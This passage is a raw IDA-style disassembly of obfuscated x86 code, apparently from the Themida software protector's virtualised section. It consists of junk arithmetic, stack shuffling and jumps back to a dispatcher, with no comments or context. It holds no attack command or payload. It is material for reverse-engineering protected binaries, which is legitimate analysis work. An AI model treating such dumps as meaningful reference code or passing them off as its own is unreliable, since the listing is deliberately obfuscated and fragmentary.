; END OF FUNCTION CHUNK FOR sub_550BFD
; ---------------------------------------------------------------------------
mov eax, [esp]
push edx
mov edx, esp
push ebp
push edx
mov edx, 4A133139h
add edx, 58E03B9h
mov ebp, edx
pop edx
shr ebp, 4
add ebp, 0B0C475Ch
jmp loc_552AE4
; ---------------------------------------------------------------------------
loc_5552CB: ; CODE XREF: Themida_:00553C87j
mov ax, [esp]
jmp loc_553B26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5552D4: ; CODE XREF: sub_556A70-12AAj
shl byte ptr [esp+8+var_8], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5552DD: ; CODE XREF: sub_556A70-13C9j
sub al, 0BCh
mov dl, al
pop eax
jmp loc_554AEB
; ---------------------------------------------------------------------------
loc_5552E7: ; CODE XREF: sub_556A70+3994j
add edi, ebp
pop ebp
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
xor edi, [esp+4+var_4]
jmp loc_55624C
; ---------------------------------------------------------------------------
loc_5552F8: ; CODE XREF: sub_556A70-1398j
pop ecx
and esi, 61362581h
sub esi, 0B40CB53Bh
mov ebp, esi
pop esi
jmp loc_552BA4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55530D: ; CODE XREF: Themida_:00557BCBj
push 2669h
jmp loc_55C4EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555317: ; CODE XREF: sub_556A70-AD2j
mov ecx, 4
add ebx, ecx
pop ecx
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
pop esp
jmp loc_55808B
; ---------------------------------------------------------------------------
loc_55532E: ; CODE XREF: sub_556A70-332Ej
xor edi, edx
pop edx
jmp sub_5582B3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555336: ; CODE XREF: Themida_:0055A6B6j
push dx
push eax
jmp loc_559110
; ---------------------------------------------------------------------------
loc_55533E: ; CODE XREF: Themida_:0055AF8Bj
pop edi
add esi, 68400591h
add esi, edx
sub esi, 68400591h
pop edx
xor esi, [esp]
xor [esp], esi
jmp loc_55C296
; ---------------------------------------------------------------------------
loc_555359: ; CODE XREF: Themida_:005513B3j
pop ebp
add eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_553069
; ---------------------------------------------------------------------------
loc_555370: ; CODE XREF: Themida_:0055AC32j
add ebx, esi
pop esi
jmp loc_5540CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5521AC
loc_555378: ; CODE XREF: sub_5521AC+2487j
add cl, bh
pop ebx
inc cl
neg cl
add cl, 77h
sub cl, 0FCh
mov ah, cl
pop ecx
neg ah
jmp loc_55857D
; END OF FUNCTION CHUNK FOR sub_5521AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55538F: ; CODE XREF: sub_552B74-4ADj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+0Ch+var_C]
jmp loc_557FAC
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5553A3: ; CODE XREF: sub_556A70-3E7Dj
xor [esp-4+arg_0], ecx
jmp loc_5577A2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5553AB: ; CODE XREF: Themida_:0055947Ej
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55C1D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5553B7: ; CODE XREF: sub_556A70+1A83j
sub ebp, 59373ED6h
sub ebp, esi
push eax
mov eax, 59373ED6h
add ebp, eax
pop eax
pop esi
add eax, ebp
jmp loc_5537CD
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5553D0 proc near ; CODE XREF: sub_556A70-2C0Bj
; FUNCTION CHUNK AT 00550B83 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00551F3F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00553637 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005594A7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559508 SIZE 00000008 BYTES
push bx
mov bl, 31h
mov cl, bl
pop bx
sub bl, 4Bh
jmp loc_551F3F
sub_5553D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5553E0: ; CODE XREF: sub_556A70+AECj
push 1
mov edi, [esp-4+arg_0]
add esp, 4
sub esp, 4
mov [esp-4+arg_0], ecx
push edi
jmp loc_559F68
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsb
push ecx
mov ch, 0A7h
add ch, 0D3h
jmp loc_5525DE
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
jmp loc_55C533
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555410: ; CODE XREF: sub_556A70-49AEj
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_552CF2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555425: ; CODE XREF: Themida_:00556764j
push ebx
mov ebx, 31C121CAh
sub ebx, 0FFFFFFFFh
add ebx, 608A7772h
dec ebx
push edi
mov edi, 14016CDCh
sub ebx, edi
jmp loc_552427
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555442: ; CODE XREF: sub_556A70-19F0j
mov edx, esi
jmp loc_553280
; ---------------------------------------------------------------------------
loc_555449: ; CODE XREF: sub_556A70+2D14j
mov esp, [esp-28h+arg_24]
jmp loc_5578F1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555451: ; CODE XREF: Themida_:005595A9j
or edi, ebx
pop ebx
sub edi, 5DBF793Eh
sub edi, 0FFFFFFFFh
shl edi, 5
sub esp, 4
jmp loc_556CBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559D5E
loc_55546E: ; CODE XREF: sub_559D5E+1530j
add eax, 4
add eax, 4
jmp loc_55399E
; END OF FUNCTION CHUNK FOR sub_559D5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55547B: ; CODE XREF: sub_556A70-119Dj
push esi
mov esi, 5778B88Fh
mov ebx, esi
pop esi
sub ecx, ebx
pop ebx
add ebx, 2A345E7Ch
sub ebx, ecx
sub ebx, 2A345E7Ch
pop ecx
add ebx, 0FFFFFFFFh
jmp loc_55C1EB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551B42
loc_55549E: ; CODE XREF: sub_551B42+3295j
sub edx, ecx
push [esp-8+arg_4]
pop ecx
add esp, 4
xor edx, 5D944B10h
add edx, 7699546h
push edi
jmp loc_558FFB
; END OF FUNCTION CHUNK FOR sub_551B42
; ---------------------------------------------------------------------------
loc_5554B9: ; CODE XREF: Themida_:00554095j
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5554CA: ; CODE XREF: Themida_:0055A6C8j
mov [esp], edi
mov edi, 4
add esi, edi
mov edi, [esp]
add esp, 4
jmp loc_558EC3
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, 74CB4930h
shl edi, 8
add edi, 71312356h
sub edi, 0FFFFFFFFh
xor edi, 690144EEh
push 16E7h
mov [esp], edi
push eax
mov edi, [esp]
push ecx
mov ecx, esp
jmp loc_557769
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_55550F: ; CODE XREF: sub_557F09+40B3j
push 7973h
mov [esp+8+var_8], esi
jmp sub_55C259
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
loc_55551C: ; CODE XREF: Themida_:005524FCj
mov [esp], ecx
mov ecx, 390324C0h
jmp loc_559897
; ---------------------------------------------------------------------------
loc_555529: ; CODE XREF: Themida_:00559C88j
neg edx
jmp loc_55121F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555530: ; CODE XREF: sub_556A70+621Bj
sub esi, ebx
pop ebx
xor esi, [esp-34h+arg_30]
xor [esp-34h+arg_30], esi
xor esi, [esp-34h+arg_30]
pop esp
mov [esp-38h+arg_34], edi
push 5441h
mov [esp-34h+arg_30], esp
jmp loc_55BA77
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55554D: ; CODE XREF: Themida_:0055C7F9j
add ebx, 12964321h
inc ebx
sub ebx, 0CD955F5Dh
mov edi, ebx
pop ebx
or edx, edi
jmp loc_552306
; ---------------------------------------------------------------------------
loc_555564: ; CODE XREF: Themida_:005540CFj
push 3C85h
mov [esp], esi
push edi
mov edi, 21E7043Ch
sub esp, 4
jmp loc_552F70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55557A: ; CODE XREF: sub_556A70-22ECj
mov [esp+8+var_8], edi
jmp loc_55B190
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], edi
push esp
pop edi
sub esp, 4
mov [esp], edx
jmp loc_558625
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_5555AE: ; CODE XREF: sub_55AE6E+3C7j
mov bh, 61h
add dl, 5
sub dl, bh
sub dl, 5
pop bx
jmp loc_55851C
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5555BF: ; CODE XREF: sub_556A70+2F57j
pop eax
add esi, 0F4481AB2h
neg esi
sub esi, 3A4170EEh
add eax, 30221509h
sub eax, esi
jmp loc_55C5D9
; ---------------------------------------------------------------------------
loc_5555DA: ; CODE XREF: sub_556A70+4ADj
and byte ptr [esp+4+var_4], al
pushf
jmp loc_557AD8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_5555E3: ; CODE XREF: sub_5567EA-43EBj
pop edx
jmp loc_558B65
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5555E9: ; CODE XREF: sub_556A70+716j
add edi, eax
pop eax
push 158Dh
mov [esp+8+var_8], ebp
mov ebp, 418869D4h
push ecx
mov ecx, 13692891h
inc ecx
neg ecx
xor ecx, 143D41BAh
add ecx, 366D7135h
inc ecx
jmp loc_556A9A
; ---------------------------------------------------------------------------
loc_555614: ; CODE XREF: sub_556A70+4F66j
push ecx
mov ecx, 62F631D2h
push edx
jmp loc_55C71E
; ---------------------------------------------------------------------------
loc_555620: ; CODE XREF: sub_556A70+593Ej
or ebx, 2CC6441Dh
xor ebx, 2BBD1817h
jmp loc_551EDD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_558DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555639: ; CODE XREF: sub_556A70+522Dj
mov ecx, 3497607Fh
jmp loc_556B75
; ---------------------------------------------------------------------------
loc_555643: ; CODE XREF: sub_556A70-3108j
push [esp-1Ch+arg_18]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-18h+arg_14]
pop esp
jmp loc_5516B8
; ---------------------------------------------------------------------------
loc_55565F: ; CODE XREF: sub_556A70-C75j
xor edi, [esp-1Ch+arg_18]
jmp loc_553089
; ---------------------------------------------------------------------------
loc_555667: ; CODE XREF: sub_556A70+CDAj
inc ebx
or ebx, 9307411h
sub ebx, 1CC46EFAh
mov ebp, ebx
pop ebx
jmp loc_555CE5
; ---------------------------------------------------------------------------
loc_55567C: ; CODE XREF: sub_556A70+1103j
sub edi, 0BB10D606h
sub ebp, edi
pop edi
push ebp
push esi
mov esi, 76607069h
add [esp-1Ch+arg_1C], esi
pop esi
jmp loc_5532AE
; ---------------------------------------------------------------------------
loc_555696: ; CODE XREF: sub_556A70+62FFj
push [esp-20h+arg_1C]
pop edx
push esi
jmp loc_55938B
; ---------------------------------------------------------------------------
loc_5556A0: ; CODE XREF: sub_556A70+9E9j
push eax
mov al, 6Dh
xor al, 0C8h
not al
jmp loc_5552DD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5556AC: ; CODE XREF: Themida_:0055C239j
bswap eax
jmp loc_551D77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5556B3: ; CODE XREF: sub_556A70-334Cj
mov esi, 30CF0720h
not esi
sub esi, 2D64190h
or esi, 64805264h
push ecx
push edx
mov edx, 4A1301C8h
add edx, 1B883D64h
mov ecx, edx
pop edx
xor esi, ecx
jmp loc_5552F8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5556DD: ; CODE XREF: Themida_:005524CFj
pop ecx
shl ecx, 1
not ecx
inc ecx
xor ecx, 67A2473Ah
add ecx, 0ACBF30E0h
jmp loc_554D2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5556F4: ; CODE XREF: sub_5584F8+493j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
jmp loc_558209
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_555709: ; CODE XREF: Themida_:0055864Aj
add edx, edi
sub edx, 0D245731h
push ebx
mov bh, al
mov [edx], bh
pop ebx
mov edx, [esp]
jmp loc_554676
; ---------------------------------------------------------------------------
loc_55571F: ; CODE XREF: Themida_:00557FD9j
sub eax, 50451B84h
sub eax, 3D3B6881h
sub eax, ebp
jmp loc_553118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555730: ; CODE XREF: sub_556A70+3AF3j
mov ebx, 38h
add ebx, edi
push ecx
sub esp, 4
mov [esp+14h+var_14], edi
jmp loc_55B797
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555743: ; CODE XREF: Themida_:00558D02j
mov cx, [esp]
push ebx
push esp
jmp loc_55C35C
; ---------------------------------------------------------------------------
loc_55574E: ; CODE XREF: Themida_:0055BC8Bj
push 3DA8188Bh
pop eax
jmp loc_5557E6
; ---------------------------------------------------------------------------
loc_555759: ; CODE XREF: Themida_:005562D9j
mov ebx, ebp
pop ebp
or ebx, 39FB2931h
sub esp, 4
jmp loc_558F3F
; ---------------------------------------------------------------------------
loc_55576D: ; CODE XREF: Themida_:00554A10j
mov esp, [esp]
push dword ptr [esp]
pop eax
push ecx
jmp loc_551EA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55577A: ; CODE XREF: sub_556A70+1740j
mov ebx, ebp
pop ebp
sub ebx, 400242D1h
push eax
mov eax, 2A9A4C92h
jmp loc_5537D7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55578E: ; CODE XREF: Themida_:0055A5ACj
pop edx
add edx, edi
push dword ptr [edx]
push eax
jmp loc_556581
; ---------------------------------------------------------------------------
loc_555799: ; CODE XREF: Themida_:00559561j
pop esp
push edi
jmp loc_557676
; =============== S U B R O U T I N E =======================================
sub_5557A0 proc near ; CODE XREF: sub_556A70+3CD3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005523D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A003 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C484 SIZE 0000001D BYTES
sub esp, 4
mov [esp-4+arg_0], ecx
jmp loc_55C484
sub_5557A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_5557AE: ; CODE XREF: sub_559F87-20ECj
or dl, bl
pop ebx
add dl, 0BFh
mov cl, dl
jmp loc_5519C9
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
loc_5557BB: ; CODE XREF: Themida_:00557D57j
mov ebp, esp
jmp loc_55CEE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5557C2: ; CODE XREF: sub_556A70+212j
pop [esp+14h+var_14]
pop esp
jmp loc_5552D4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5557CB: ; CODE XREF: Themida_:00551E51j
mov [esp], edx
jmp loc_557FF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5557D3: ; CODE XREF: sub_556A70+605Cj
pop esp
jmp loc_552BEA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5557D9: ; CODE XREF: Themida_:0055B756j
add esp, 4
neg ebp
jmp loc_55C3E9
; ---------------------------------------------------------------------------
loc_5557E6: ; CODE XREF: Themida_:00555754j
add eax, 648947E8h
sub eax, 5AB11166h
mov ebp, eax
pop eax
or ecx, ebp
pop ebp
jmp loc_555F46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BDF1
loc_5557FB: ; CODE XREF: sub_55BDF1+10j
mov edi, 138B7427h
and ecx, edi
pop edi
push ebx
jmp loc_55C704
; END OF FUNCTION CHUNK FOR sub_55BDF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555809: ; CODE XREF: sub_556A70+5A9j
and eax, edi
pop edi
or edx, eax
shl edx, 1
push 5778h
mov [esp+8+var_8], ebp
mov ebp, 5FD37141h
dec ebp
jmp loc_557145
; ---------------------------------------------------------------------------
loc_555823: ; CODE XREF: sub_556A70-5CB9j
pop [esp-4+arg_0]
pop esp
sub [esp-0Ch+arg_8], eax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558AE7
loc_555830: ; CODE XREF: sub_558AE7+3FA7j
sub ebx, 2A0F53B5h
mov esi, [esp+4+var_4]
add esp, 4
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_558AE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555844: ; CODE XREF: sub_556A70+4BE3j
add esp, 4
pop [esp-0Ch+arg_8]
pop esp
sar word ptr [esp-14h+arg_10], cl
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555858: ; CODE XREF: Themida_:0055863Cj
xor edx, 0FFFBFF88h
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
add dword ptr [esp], 7A5C4BAEh
add dword ptr [esp], 32A428EFh
sub dword ptr [esp], 62AB7A4Ah
add [esp], eax
push esi
mov esi, 62AB7A4Ah
sub dword ptr [esp+4], 1B290341h
add [esp+4], esi
jmp loc_55143A
; ---------------------------------------------------------------------------
loc_555899: ; CODE XREF: Themida_:00557CE7j
mov edx, 1A7228AEh
dec edx
add edx, 6DEE31D0h
sub edx, 88605A51h
mov ebx, edx
pop edx
push 74BDh
mov [esp], eax
mov eax, 3EFE2024h
jmp loc_557B78
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_5535DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5558D1: ; CODE XREF: sub_556A70+4890j
inc ecx
push ebx
jmp loc_55547B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5558D8: ; CODE XREF: Themida_:0055432Fj
mov ch, ah
mov dl, ch
mov ecx, [esp]
add esp, 4
pop eax
mov bh, dl
pop edx
pop cx
add al, bh
pop ebx
jmp loc_55AFFA
; ---------------------------------------------------------------------------
loc_5558F3: ; CODE XREF: Themida_:00559569j
xor esi, [esp]
pop esp
imul cx, ax
push cx
pushf
jmp loc_550A46
; =============== S U B R O U T I N E =======================================
sub_555903 proc near ; CODE XREF: sub_556A70+4B14j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055190B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00551FF8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00553B78 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554905 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554AC9 SIZE 00000022 BYTES
push ebx
mov ebx, 0B53F2445h
add edi, ebx
pop ebx
sub edx, 1746501Fh
sub edx, edi
add edx, 1746501Fh
pop edi
jmp loc_553B78
sub_555903 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_555930: ; CODE XREF: Themida_:0055BBFBj
add edi, 0AAA04E08h
jmp loc_553561
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55593B: ; CODE XREF: sub_556A70+684j
pop esi
add esi, 4
jmp loc_55197B
; ---------------------------------------------------------------------------
loc_555947: ; CODE XREF: sub_556A70-4D0j
or edi, 2D242C60h
jmp loc_557C1E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555952: ; CODE XREF: Themida_:0055452Dj
add ecx, 321C4CEh
sub eax, ecx
pop ecx
push 268Ah
mov [esp], ebp
mov ebp, 10E0733h
jmp loc_55498F
; ---------------------------------------------------------------------------
loc_55596D: ; CODE XREF: Themida_:0055BEA7j
mov dl, [esp]
add esp, 2
push ebx
mov bl, 0B4h
dec bl
xor bl, 0C8h
add dl, bl
pop ebx
jmp loc_553F71
; ---------------------------------------------------------------------------
loc_555983: ; CODE XREF: Themida_:0055B327j
pop ebx
sub bl, dl
jmp loc_55885F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553E6A
loc_55598B: ; CODE XREF: sub_553E6A+7CC7j
sub eax, ebp
jmp loc_552667
; END OF FUNCTION CHUNK FOR sub_553E6A
; ---------------------------------------------------------------------------
loc_555992: ; CODE XREF: Themida_:00555D3Cj
mov eax, [esp]
jmp loc_554EE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_55599A: ; CODE XREF: sub_55B730-7950j
mov ecx, [esp+0Ch+var_C]
jmp loc_5599CC
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
loc_5559A2: ; CODE XREF: Themida_:00558119j
sub esp, 4
jmp loc_55AD53
; ---------------------------------------------------------------------------
loc_5559AA: ; CODE XREF: Themida_:005590F1j
mov esp, [esp]
mov [esp], eax
push esi
mov esi, 7862E59h
mov eax, 7862E59h
xor eax, esi
mov esi, [esp]
jmp loc_55CB69
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_5559CD: ; CODE XREF: sub_552B74+6812j
add edi, 525E64CEh
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_5526AA
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
push 54A6h
mov [esp], ecx
jmp loc_5542A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5559EE: ; CODE XREF: sub_556A70-4FB1j
pop edi
sub ecx, 7FA67942h
jmp loc_55B80E
; ---------------------------------------------------------------------------
loc_5559FA: ; CODE XREF: sub_556A70+98Cj
mov [esp+0Ch+var_C], edi
push esp
pop edi
push eax
mov eax, 2F5C609Ch
shr eax, 1
xor eax, 1373B67h
and eax, 114675B0h
push ecx
mov ecx, 9435A41h
jmp loc_558500
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555A1C: ; CODE XREF: Themida_:00551E1Bj
mov esi, 2D2B4B08h
neg esi
or esi, 1ACF6F06h
jmp loc_554D75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555A2E: ; CODE XREF: sub_556A70-5C9Dj
xchg edi, [esp+0]
jmp loc_550AE6
; ---------------------------------------------------------------------------
loc_555A36: ; CODE XREF: sub_556A70-2088j
xor esi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
add byte ptr [esp-8+arg_4], al
pushf
jmp loc_558805
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555A45: ; CODE XREF: Themida_:00558B38j
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_555A50: ; CODE XREF: Themida_:0055C9ADj
mov edi, 4
add edx, edi
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push edx
mov edx, 517975F1h
mov esi, 0AE868A11h
jmp loc_55A277
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555A73: ; CODE XREF: sub_556A70-8A3j
pop edi
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-4+arg_0]
pop esp
jmp loc_558AE3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555A89: ; CODE XREF: Themida_:005527F6j
pop esp
mov [esp], dx
push 5FBEh
jmp loc_550C50
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55C26E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555AA1: ; CODE XREF: sub_556A70-54C3j
add eax, esi
pop esi
pop ecx
push eax
pop edx
pop eax
add edx, edi
push ecx
mov ecx, 0
add ecx, edx
add [ecx], ebp
pop ecx
pop edx
jmp loc_5547BD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_555ABB: ; CODE XREF: sub_55B730+1711j
pop ecx
jmp sub_554E85
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
loc_555AC1: ; CODE XREF: Themida_:0055C272j
push 4
pop eax
sub ebp, 304B73h
add ebp, 2332465Ch
jmp loc_552089
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555AD8: ; CODE XREF: sub_556A70+1C3j
pop esp
xchg ebx, [esp-1Ah+arg_14+2]
mov esp, [esp-1Ah+arg_14+2]
jmp loc_557C6E
; ---------------------------------------------------------------------------
loc_555AE4: ; CODE XREF: sub_556A70+17C2j
add ecx, 4
add ecx, 4
jmp loc_557C86
; ---------------------------------------------------------------------------
loc_555AF5: ; CODE XREF: sub_556A70+5D25j
mov esi, [esp-1Ah+arg_14+2]
jmp loc_5534C8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555AFD: ; CODE XREF: Themida_:0055B27Aj
inc word ptr [esp]
pushf
jmp loc_5596EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555B07: ; CODE XREF: sub_556A70+3DB2j
mov ecx, 11B77539h
neg ecx
xor ecx, 0D50FF898h
sub eax, ecx
pop ecx
pop edi
add edi, 38840A60h
add edi, eax
sub edi, 38840A60h
pop eax
jmp loc_55740D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555B2C: ; CODE XREF: Themida_:00553FDEj
push ecx
mov cl, 79h
shl cl, 7
jmp loc_5569BF
; ---------------------------------------------------------------------------
loc_555B37: ; CODE XREF: Themida_:00558992j
add esi, 4
push ecx
push edx
push eax
push 6BCC42FFh
jmp loc_559977
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B403
loc_555B4A: ; CODE XREF: sub_55B403-162Cj
pop ebx
mov [edi+eax*4+1], ch
mov ecx, [esp+0]
add esp, 4
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_55B403
; ---------------------------------------------------------------------------
loc_555B5D: ; CODE XREF: Themida_:00555072j
pop edi
push 45F2h
mov [esp], eax
mov eax, 2
add ebp, eax
pop eax
push ebp
jmp loc_55278F
; ---------------------------------------------------------------------------
loc_555B74: ; CODE XREF: Themida_:00556924j
pop ebx
jmp loc_553977
; ---------------------------------------------------------------------------
loc_555B7A: ; CODE XREF: Themida_:005521E3j
mov [esp], ecx
push eax
mov ah, 57h
jmp loc_556783
; =============== S U B R O U T I N E =======================================
sub_555B85 proc near ; CODE XREF: sub_553651+167Aj
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00550D50 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005511DD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005516B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552998 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00553C39 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055974D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559A17 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A50C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B4E2 SIZE 0000000B BYTES
